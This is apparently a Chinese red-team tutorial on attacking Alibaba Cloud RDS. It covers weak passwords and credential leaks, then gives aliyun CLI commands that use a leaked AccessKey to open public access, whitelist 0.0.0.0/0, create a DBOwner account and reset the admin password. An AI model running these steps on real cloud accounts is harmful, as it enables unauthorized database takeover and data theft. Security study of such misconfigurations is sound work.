一、RDS存在的风险
1、弱口令
其实在设置密码的时候可以发现,设置的密码是强制大写加小写字母与数字的,如果这样组合,其实不一定存在弱口令,但是试了一下Qwe123123这种密码,发现居然可以,那么就可以确定,至少存在键盘弱口令的

虽然实战中遇到的几率很小,但是至少也是一个问题
2、源码泄露

这个在实战中碰到的次数比较多,不过大部分都有一些局限的情况
1、服务部署在VPC内网,没有申请公网访问地址,所以无法通过公网连接,只能在VPC中通过内网地址连接
2、白名单的问题,如果想公网通过地址连接需要满足两个条件
- 1、申请了公网地址,并且泄露
- 2、白名单设置为0.0.0.0/0

不过在一次红蓝中,通过公网的GIT泄露发现了泄露的源码,也就是上图,RDS和内网IP的数据库都无法连接,不过在打进云上内网后,通过frp,使用这些地址是可以连接的

3、密钥泄露如何进行利用
3.1、获取所有DB实例
aliyun rds DescribeDBInstances

此时会列出所有的RDS信息,可以看到所在的地区,连接的地址,版本,服务类型,我们注意到有一个DBInstanceID,然后我们可以使用以下命令获取指定实例ID下更详细的信息
aliyun rds DescribeDBInstanceAttribute --DBInstanceId xxxx

这里可以看到实例的安全组等
3.2、申请公网访问地址
查看是否存在公网访问地址
aliyun rds DescribeDBInstanceNetInfo --DBInstanceId xxx

在这里我们可以看到RDS的访问地址,如果不存在公网访问地址的话,我们可以申请一个

那么我们尝试申请一个
申请公网访问地址
aliyun rds AllocateInstancePublicConnection --DBInstanceId xxxx --Port 1433 --ConnectionStringPrefix uzjuse

可以看到我们申请了一个公网地址,尝试访问试试


此时我们还无法访问,所以要添加白名单
3.3、添加白名单
查询指定RDS白名单
aliyun rds DescribeDBInstanceIPArrayList --DBInstanceId xxx
在添加白名单之前,我们首先要先查看一下白名单,在下图中可以看到,白名单显示,只允许127.0.0.1访问,下面一条是阿里云的默认安全组,用来做备份用的

为指定实例添加白名单
aliyun rds ModifySecurityIps --DBInstanceId xxxxx --SecurityIps 0.0.0.0/0


3.4、创建账号
我们可以通过以下命令查询当前RDS中有哪些用户
aliyun rds DescribeAccounts --DBInstanceId xxx

aliyun rds CreateAccount --AccountName UzJuSecTest --AccountPassword Qwe123123 --DBInstanceId xxxx


那么如果这个时候,我们连接上去,看到一个数据库,没有权限怎么办?

3.5、为账号添加数据库权限
查询数据库有哪些
aliyun rds DescribeDatabases --DBInstanceId xxx
在为自己添加权限之前,我们需要知道,我们想看哪个数据库,或者从上面NaviCat的链接信息中也可以看到

为自己添加uzju数据库的权限
aliyun rds GrantAccountPrivilege --AccountName UzJuSecTest --AccountPrivilege DBOwner --DBName uzju --DBInstanceId xxx


现在我们已经拥有了这个数据库的操作权限
3.6、直接修改高权限账号的密码
那么既然我们上面的步骤很繁琐,可不可以直接修改管理员的密码呢,答案是可以的,不过在真实环境中,修改管理员密码有可能会对业务造成不可挽回的后果
aliyun rds ResetAccountPassword --AccountName uzju --AccountPassword Qwe123123 --DBInstanceId

在之前我们已经知道了Super账号的用户名,那么我们将密码修改为Qwe123123,随后尝试连接



二、总结
RDS的攻击面基本都来自于用户侧配置问题,并且很多RDS都不会放在公网,而是在VPC的内网中,那么我们如果在公网中找到一个泄露了RDS账号与密码,可以保留起来,打进内网的时候也许能派上用场,并且在AK泄露的时候,我们也是需要拥有一定的权限,才可以做这些操作
遇到AK泄露,常规的利用方法无非就是三种
1、手动去调API(费时费力,属于盲猜的一种形式)
2、用行云管家这种工具
3、自己写工具,体力活,堆API